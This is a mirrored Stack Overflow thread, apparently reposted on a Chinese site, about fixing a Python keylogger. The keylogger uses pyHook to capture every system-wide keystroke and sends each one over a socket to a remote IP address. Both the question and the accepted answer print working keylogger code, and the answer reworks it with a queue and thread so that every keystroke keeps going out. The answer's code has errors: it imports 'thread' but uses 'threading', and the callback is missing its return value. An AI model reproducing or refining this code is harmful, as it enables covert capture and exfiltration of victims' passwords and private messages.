gpt4 book ai didi

python - 将套接字添加到键盘记录器

转载 作者:行者123 更新时间:2023-12-03 11:59:15 29 4
gpt4 key购买 nike

出于有趣的目的,我正在构建一个键盘记录器。我想要的是键盘记录器将充当聊天客户端,并将每次击键发送给对方。但是,当我尝试这样做时,它只发送我按下的第一个键,而不是其他跟随它的键。

import socket
import pythoncom
import pyHook




HOST = "192.168.2.103"
PORT = 5000

s = socket.socket()
s.connect((HOST, PORT ))


def OnKeyboardEvent(event):
global s
keylog = chr(event.Ascii)
s.send(keylog.encode("utf-8"))
return True



h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()

最佳答案

the tutorial 中所述:

If a callback function does not return in a timely manner, the event is automatically forwarded along the hook callback chain, and, if no other callback blocks it, onto the destination window. Therefore, as little processing as possible should be done in a callback. Instead, the callback should add events to a queue for later processing by an application and quickly decide whether or not to block the message.



调用 socket.send可以阻挡。它可以很容易地阻塞足够长的时间让 PyHook 中止你的钩子(Hook),或者只是为了将来的调用而禁用它。要修复它,请完全按照文档所说的去做。例如(未经测试,但至少应该是一个足以让您入门的示例):
import queue
import socket
import thread

import pythoncom
import pyHook

q = queue.Queue()

HOST = "192.168.2.103"
PORT = 5000

def background():
s = socket.socket()
s.connect((HOST, PORT))
while True:
msg = q.get()
s.send(msg)
sockthread = threading.Thread(target=background)
sockthread.start()

def OnKeyboardEvent(event):
keylog = chr(event.Ascii)
q.put(keylog.encode("utf-8"))

h_m = pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()

关于python - 将套接字添加到键盘记录器,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49990229/

29 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com